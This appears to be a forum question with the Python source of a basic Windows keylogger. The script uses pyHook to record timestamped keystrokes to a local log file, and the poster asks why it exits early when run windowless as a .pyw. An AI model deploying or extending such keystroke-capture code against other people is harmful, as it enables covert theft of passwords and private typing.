I'm working on a simple key logger. I'm having a problem though, when I try to run it as a .pyw the program shuts down before it can record anything. I believe it needs to loop, how would I go about this?
import pythoncom, pyHook, sys, logging, time
LOG_FILENAME = 'C:\KeyLog\log.out'
def OnKeyboardEvent(event):
keytime = time.strftime('%I:%M %S %p %A %B %d, %Y | ')
logging.basicConfig(filename=LOG_FILENAME,
level=logging.DEBUG,
format='%(message)s')
logging.log(10, keytime + "Key: '" + chr(event.Ascii) + "'")
if chr(event.Ascii) == "q":
sys.exit(0)
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
I'm using Windows 7 ,BTW.